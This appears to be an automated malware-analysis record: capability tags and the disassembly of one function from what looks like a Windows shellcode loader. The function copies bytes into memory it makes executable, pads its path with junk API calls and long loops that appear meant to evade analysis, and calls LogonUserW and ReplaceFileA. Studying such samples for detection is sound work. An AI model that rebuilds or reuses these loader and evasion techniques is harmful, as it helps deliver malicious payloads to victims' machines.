Function at 0x4035a0
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Impersonate user
Set current directory

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42604b
push eax
mov eax, 0x2150
mov dword fs:[0], esp
call fcn.0040dbe0
cmp dword [0x4617e4], 0x2f
push ebx
push ebp
push esi
push edi
jne 0x403631
lea eax, [esp + 0x10]
push eax
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], esi
mov byte [esp + 0x18], 0
lea ecx, [esp + 0x34]
mov dword [esp + 0x2168], esi
call fcn.00403c51
lea ecx, [esp + 0x34]
call fcn.00403d12
push esi
call fcn.0040419f
add esp, 4
push esi
push esi
call fcn.0040437a
push esi
call fcn.004042d1
add esp, 0xc
call fcn.00403b3a
call fcn.00404420
add dword [0x4617e4], 0x1134b
push 0x402fc4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x4617e4]
push ecx
push 0
mov dword [0x4617d4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x4617e4]
lea edx, [esp + 0x40]
push edx
push 0x40
push ecx
push eax
mov dword [0x46157c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x4617e4]
xor esi, esi
test eax, eax
jbe 0x40373a
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_LogonUserW]
mov ebp, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
jmp 0x4036a0
mov edx, dword [0x467f40]
mov cl, byte [edx + esi + 0x1134b]
mov edx, dword [0x46157c]
mov byte [edx + esi], cl
cmp eax, 0xa8
jne 0x403731
lea eax, [esp + 0x44]
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x28], 0
call ebx
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
lea edx, [esp + 0x964]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
xor eax, eax
push eax
lea ecx, [esp + 0x160]
push ecx
push 0x402fd4
lea edx, [esp + 0x20]
push edx
push eax
push eax
mov word [esp + 0x2c], ax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov word [esp + 0x3a], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov eax, dword [0x4617e4]
inc esi
cmp esi, eax
jb 0x4036a0
mov ebx, dword [sym.imp.USER32.dll_GetClipboardOwner]
mov ebp, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov edi, edi
cmp esi, 0x15c2
jge 0x403766
call ebx
push 0
lea eax, [esp + 0x160]
push eax
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
inc esi
cmp esi, 0x6dcc4e
jl 0x403750
mov esi, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapUnlock]
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
xor eax, eax
mov dword [esp + 0x10], eax
jmp 0x4037a0
mov ecx, dword [0x4617e4]
add ecx, eax
cmp ecx, 0xe
jne 0x4037e5
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
lea edx, [esp + 0x164]
push edx
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4fe161
mov dword [esp + 0x10], eax
jl 0x4037a0
mov esi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov ebp, 0x4cc
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea eax, [esp + 0x160]
push eax
call ebx
sub ebp, 1
jne 0x403808
xor esi, esi
lea ecx, [ecx]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0xcaaaff1
jg 0x403849
inc esi
cmp esi, 0x1f05843
jl 0x403830
call fcn.004034b0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x403862
call fcn.00403580
inc esi
cmp esi, 0x409495
jl 0x403856
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov edi, 0x7b
cmp dword [0x4617e4], 0xf
jne 0x403885
push 0
push 0
call esi
sub edi, 1
jne 0x403876
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [esp + 0x10], 0x3078f
lea ebx, [ebx]
cmp dword [0x4617e4], 0x83
jne 0x40392d
push 0
lea ecx, [esp + 0xd60]
push ecx
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebp
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x1960]
push eax
call ebx
push 0
push 0
push 0
push 0x402fe4
push 0x402ffc
push 0x403008
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
lea ecx, [esp + 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
lea edx, [esp + 0x1560]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
sub dword [esp + 0x10], 1
jne 0x4038b0
push 0x403014
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x2160]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x215c
ret